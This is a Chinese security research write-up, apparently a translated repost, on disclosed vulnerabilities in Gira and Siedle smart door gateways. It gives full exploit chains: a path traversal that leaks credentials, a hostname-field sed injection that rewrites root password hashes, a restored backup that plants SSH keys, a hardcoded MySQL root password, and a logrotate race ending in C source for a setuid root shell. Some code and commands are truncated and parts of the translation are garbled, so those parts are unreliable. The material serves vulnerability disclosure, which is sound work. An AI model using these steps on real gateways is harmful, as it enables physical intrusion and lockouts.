对智能门禁系统的安全研究

语言: CN / TW / HK

云栖号资讯:【点击查看更多行业资讯
在这里您可以找到不同行业的第一手的上云资讯,还在等什么,快来!

siedle_scaled_jpeg

对于许多攻击类型,需要物理访问计算机,例如插入“ Rubber Ducky”或插入物理键盘记录程序。由于通常限制对服务器和计算机的访问,因此通常通过“当攻击者已经进入房间时,无论如何我们都会被攻击”的角度来处理这些威胁向量。但是,如果相反的话怎么办?如果服务器,计算机和软件取决于物理安全性,但是物理安全性取决于计算机的安全性呢?对于所有不同类型的智能门锁,情况就是如此。我们研究了网关系统,这些系统增加了门铃解决方案,使用户可以通过网络(甚至Internet)对其进行控制。对于其中两个分别由Siedle和Gira制造的产品,我们找到了开源的固件文件并开始进行漏洞挖掘。

0x01 漏洞描述

我们在HITBAMS20的会议上进行了分享,并且我们打算将硬件带到现场演示。但是,由于Corona / COVID-19 疫情会议被取消了,我们仍然在线上会议上进行了演示。

https://www.youtube-nocookie.com/embed/krFHJx08dMo?start=18140

此外,我们将在此博客文章中详细介绍漏洞利用链和技术细节。稍后,我们录制的演示和演讲将在此处提供。

我们能够在两个设备及其各自的管理Web GUI上获得root用户访问权限。这使我们能够将受害者锁定在外面,并获得我们希望连接到受感染设备的物理访问权限。有关我们的利用链的更详细的技术说明,可以在后续文章中找到。

MITER总共向我们分配了五个CVE编号:

· CVE-2020-10794: Gira TKS-IP-Gateway 4.0.7.7容易受到未经身份验证的路径遍历的攻击,从而使攻击者可以下载应用程序数据库。可以将其与CVE-2020-10795结合使用以进行远程root访问。

· CVE-2020-10795: Gira TKS-IP-Gateway 4.0.7.7易于通过Web前端的备份功能执行经过身份验证的远程代码执行。可以将其与CVE-2020-10794结合使用以进行远程root访问。

· CVE-2020-9473:1.2.4之前的S.Siedle&Soehne SG 150-0智能网关具有无密码ftp ssh用户。通过使用漏洞利用链,可以访问网络的攻击者可以在网关上获得root访问权限。

· CVE-2020-9474:1.2.4之前的S.Siedle&Soehne SG 150-0智能网关允许通过Web前端中的备份功能远程执行代码。通过使用漏洞利用链,可以访问网络的攻击者可以在网关上获得root访问权限。

· CVE-2020-9475:1.2.4之前的S.Siedle&Soehne SG 150-0智能网关允许通过logrotate中的竞争条件提升本地特权。通过使用漏洞利用链,可以访问网络的攻击者可以在网关上获得root访问权限。

我们联系了两家供应商,并告知他们我们的发现。到现在为止,我们发现的所有漏洞都不再对最新版本系统有效。Siedle甚至为我们提供了预发布的测试固件映像,因此我们可以检查所有漏洞是否在更新发布之前已修复。总体而言,我们对两家供应商的回应感到非常满意,因为这清楚地表明他们意识到了调查结果的重要性。两家供应商都立即按照自己的设置对其进行了验证,并专业地解决了这些问题。

0x02 Gira漏洞利用链

1590979278187770_jpeg

Gira TKS-IP-Gateway的主板

CVE-2020-10794:Gira TKS-IP-网关4.0.7.7中未经身份验证的路径遍历

当我们开始研究Gira TKS IP网关时,我们在Web界面中发现了路径遍历漏洞。使用此/app/db/gira.db文件,我们下载了文件。在此文件中,管理员密码为md5-hash,如果密码不是特别强的话,哈希很容易被破解。此外,我们下载了相同的/app/sdintern/messages文件。如果有人最近登录了该计算机,该文件将以纯文本格式生成密码。使用获得的凭据,我们能够登录到Web前端并重新配置设备或打开与该设备连接的后门。

CVE-2020-10795:Gira TKS-IP-网关4.0.7.7中身份验证的远程代码执行

现在我们已经在Web界面上获得了管理员特权,我们备份了gira.db。该备份是TAR文件,我们可以对其进行解压缩和修改:

sqlite3 backup/gira-V0101.db "UPDATE networksettings SET Name = 'tks-ip-gw/g -f /app/sdintern/segheg -i /etc/shadow -e s/foo/bar'"

上面的代码将sed命令放入数据库中。在sedheg我们修改的tar文件将取代密码哈希root和D3.IPGWvG,如下所示:

#!/bin/sh  
s/D3.IPGWvG!:$1$6cFFPSWX$DjqoQuoo3Ucl7MsMeBcg7\//D3.IPGWvG!:$1$eV3NNo\/h$beH8VTIROWlVZKcrHvhu70/  
s/root:$1$6cFFPSWX$DjqoQuoo3Ucl7MsMeBcg7\//root:$1$eV3NNo\/h$beH8VTIROWlVZKcrHvhu70/

两个用户要么都是root用户,要么可能已经成为sudo的root用户。准备好之后,我们再次打包修改后的文件。然后,我们通过还原功能将备份上传到Web界面。这触发了我们伪造的新网络设置(标记为“ ==>”),该设置是从修改后的sqlite数据库读取的。

[...]  
NETWORK=`/opt/lin/bin/sqlite3 /var/db/gira.db "select Id, Name, Nameserver, Dhcp, Gateway, Ip, Netmask from networksettings;"`  
 [...]  
 ==> HNAME=`echo $NETWORK | /usr/bin/awk  -F"|" '{print $2}'`;  
NS=`echo $NETWORK | /usr/bin/awk  -F"|" '{print $3}'`;  
BOOTMODE=`echo $NETWORK | /usr/bin/awk  -F"|" '{print $4}'`;  
GW=`echo $NETWORK | /usr/bin/awk  -F"|" '{print $5}'`;  
IPADDR=`echo $NETWORK | /usr/bin/awk -F"|" '{print $6}'`;  
NETMASK=`echo $NETWORK | /usr/bin/awk -F"|" '{print $7}'`;

然后,在的sed命令中使用了“ $ HNAME”变量/app/bin/network.sh。

echo "0" > /tmp/dhcp  
echo "nameserver 192.168.0.1" > /etc/resolv.conf   
echo -en "HOSTNAME: $HNAME"  
echo -en ""  
echo "$HNAME" > /etc/hostname  
 ==> sed 's/'@NAME@'/'$HNAME'/g' /usr/local/etc/avahi/avahi-daemon.conf-tmpl > /usr/local/etc/avahi/avahi-daemon.conf

这样,我们将root密码更改为我们已知的密码。最后一步是登录到机器,为此我们需要dropbear ssh软件包。它是备用的ssh服务器,但是设备上存在的版本太旧,无法与现代的openssh客户端兼容。使用dbclient -p

https://player.vimeo.com/video/410960486

0x03 Siedle漏洞利用链

siedle_scaled_jpeg

S. Siedle&SöhneSG 150-0智能网关

CVE-2020-9473:1.2.4之前的S.Siedle&Soehne SG 150-0 Smart Gateway中空无密码FTP用户

对于Siedle SG-150,我们进入系统的入口是为ftp用户设置密码。这是可能的,因为固件不包含该用户的任何密码。通过ssh设置密码后,我们ssh -v -N ftp@

我们在公共固件中的一些shell脚本和配置文件中找到了该数据库的静态root密码“ siedle”。使用密码和转发的端口,我们可以使用命令以管理特权访问数据库mysql -h 127.0.0.1 -u root -P 1337 -psiedle。

该数据库具有不同的目的,一个目的是存储用于Web应用程序管理设备的凭据。通过对数据库具有root用户访问权限,我们可以为Web应用程序添加具有管理员特权的另一个用户。现在,我们可以控制和重新配置连接到网关的每个设备,这使我们能够进行连接。

CVE-2020-9474:1.2.4之前的S.Siedle&Soehne SG 150-0 Smart Gateway中的经过身份验证的远程代码执行

这将使我们获得Shell访问权限。从Web应用程序,我们能够下载配置备份config.bak文件。这是一个squashfs,一旦解压缩,其中包含一个backup.sql文件。我们生成了一个ssh密钥,并将以下四行添加到backup.sql文件的顶部:

\! mkdir /var/lib/mysql/.ssh    
\! echo  >> /var/lib/sql/.ssh/authorized_keys    
\! chmod 0700 /var/lib/mysql/.ssh    
\! chmod 0600 /var/lib/mysql/.ssh/authorized_keys

然后,我们重建了squashfs并将其作为备份上传到Web应用程序,该文件用于还原过程。等待几分钟的恢复过程完成后,我们便以SSH用户的私钥通过ssh访问了该设备,因为运行了受操纵文件中的所有命令,~/.ssh/authorized_keys并创建了mysql用户的文件。

CVE-2020-9475:版本1.2.4之前的S.Siedle&Soehne SG 150-0 Smart Gateway中的本地特权升级

为了提升特权,我们在logrotate脚本中使用了错误的配置。此外,我们编写了三个小程序,即bind,symlink和root。源代码将在本文的附录中。由于已经具有shell程序访问权限,因此我们对ARM程序进行了交叉编译,并将其复制到设备中。 我们想触发MySQL logrotate脚本的以下部分:

MYADMIN="/usr/bin/mysqladmin --user=root --password=$MYSQL_ROOT_PW" $MYADMIN ping &> /dev/null if [ $? -eq 0 ]; then  
 $MYADMIN flush-logs  
else  
# manually move it, to mimic above behaviour  
mv -f /var/log/mysql/mysql.log /var/log/mysql/mysql.log-old  
# recreate mysql.log, else logrotate would miss it  
touch /var/log/mysql/mysql.log  
chown mysql.mysql /var/log/mysql/mysql.log  
chmod 0664 /var/log/mysql/mysql.log  
 fi

要触发这部分代码,我们需要确保mysqladmin ping返回的状态码不是零。如果mysql服务器未运行,则只有这种情况。更改凭据甚至删除整个数据库都无济于事,因为mysqladmin仍会返回零,我们需要数据库不可用。但是由于如果你关闭它,它只会重新启动,所以我们需要将其挂载出来。这是第一个利用程序进入的地方:bind。我们使用它来将自身绑定到mysql数据库正在使用的静态端口:

while true; do ./bind 63601; sleep 1; done

在第二个终端中,我们关闭数据库,然后在启动时尝试将自身绑定到其端口时将挂起。因为mysql会在关机和启动之间释放端口,所以我们可以在它们之间进行竞争并使用我们的程序阻止该端口。这种方式mysqladmin返回了一个,我们必须执行else条件。

然后,我们需要第二个程序:symlink。现在的目标是在其中创建一个/etc/logrotate.d/我们可以控制和写入的文件,因为logrotate将以root用户身份执行该目录中的所有脚本。为了达到目的执行logrotate脚本,用于清理MySQL的日志文件,并设法从/var/log/mysql/mysql.log创建符号链接到之间mv和touch的/etc/logrotate.d/rootme。Rootme当时不存在,但这并不重要。按照符号链接,logrotate /etc/logrotate.d/rootme以root身份创建文件,然后将chown其提供给mysql用户。为了阻止mysql写入我们准备的文件,我们删除了symlink并/var/log/mysql/mysql.log为其创建了一个新文件。之后,我们将/etc/logrotate.de/rootme用以下内容填充:

/var/log/mysql/rootme.log {
         delaycompress
         nosharedscripts
         copy
         firstaction
             chown root:root /tmp/root
             chmod +s /tmp/root
             mv -f /var/log/mysql/rootme.log /var/log/mysql/rootme.log-old
             touch /var/log/mysql/rootme.log
             chown mysql.mysql /var/log/mysql/rootme.log
             chmod 0664 /var/log/mysql/rootme.log
          fi
         endscript
         lastaction
             mv -f /var/log/mysql/rootme.log-old /var/log/mysql/rootme.log.1
         endscript
 }

程序/tmp/root是我们的第三个程序和suidrootshell。完成所有操作后,我们必须填充/var/log/mysql/rootme.log并再次触发logrotate。现在,我们的suid二进制文件具有root特权,可以通过以下方式使用:/tmp/root passwd root。现在,我们可以更改root用户的密码,从现在起就可以完全控制系统了。

https://player.vimeo.com/video/410961877

0x04 代码片段

bind.c

#include  #include  #include  #include  #include  
#include  #include  
void error(const char *msg) {
    perror(msg);
    exit(1);
}

int main(int argc, char **argv) {
     int sockfd, newsockfd, portno, pid;
     socklen_t clilen;
     struct sockaddr_in serv_addr, cli_addr;

     if (argc < 2) {
         fprintf(stderr,"ERROR, no port provided\n");
         exit(1);
     }
     sockfd = socket(AF_INET, SOCK_STREAM, 0);

     if (sockfd < 0) 
        error("ERROR opening socket");

     bzero((char *) &serv_addr, sizeof(serv_addr));
     portno = atoi(argv[1]);
     serv_addr.sin_family = AF_INET;
     serv_addr.sin_addr.s_addr = INADDR_ANY;
     serv_addr.sin_port = htons(portno);
     if (bind(sockfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr)) < 0) 
         error("ERROR on binding");
     listen(sockfd,5);
     accept(sockfd, (struct sockaddr *) &cli_addr, &clilen);
     return 0;
}

symlink.c

#include  
int main(int argc, char **argv) {
  int ret;

  char *watchPath = argv[1];
  char *linkPath = argv[2];

  while(1) {
      ret = symlink(linkPath, watchPath);
      if (ret == 0)
        return 0;
  }
  return 0;
}

root.c

#include  #include  #include  #include  #include  
char *join_command(char **commands) {
    char *res = (char *)malloc(strlen(commands[0]));
    strncpy(res, commands[0], strlen(commands[0]));

    for (char **command = ++commands; *command != NULL; command++) {
        res = (char *)realloc(res, strlen(res) + strlen(*command) + 2);
        strcat(res, " ");
        strcat(res, *command);
    }
    return res;
}

int main(int argc, char **argv) {
    if (argc < 2) {
        printf("usage: ./root ");
    }

    setuid(0);
    setgid(0);
    system(join_command(++argv));

    return 0;
}

【云栖号在线课堂】每天都有产品技术专家分享!
课程地址:https://yqh.aliyun.com/zhibo

立即加入社群,与专家面对面,及时了解课程最新动态!
【云栖号在线课堂 社群】https://c.tb.cn/F3.Z8gvnK

原文发布时间:2020-08-06
本文作者:h1apwn
本文来自:“嘶吼网”,了解相关信息可以关注“嘶吼网

分享到: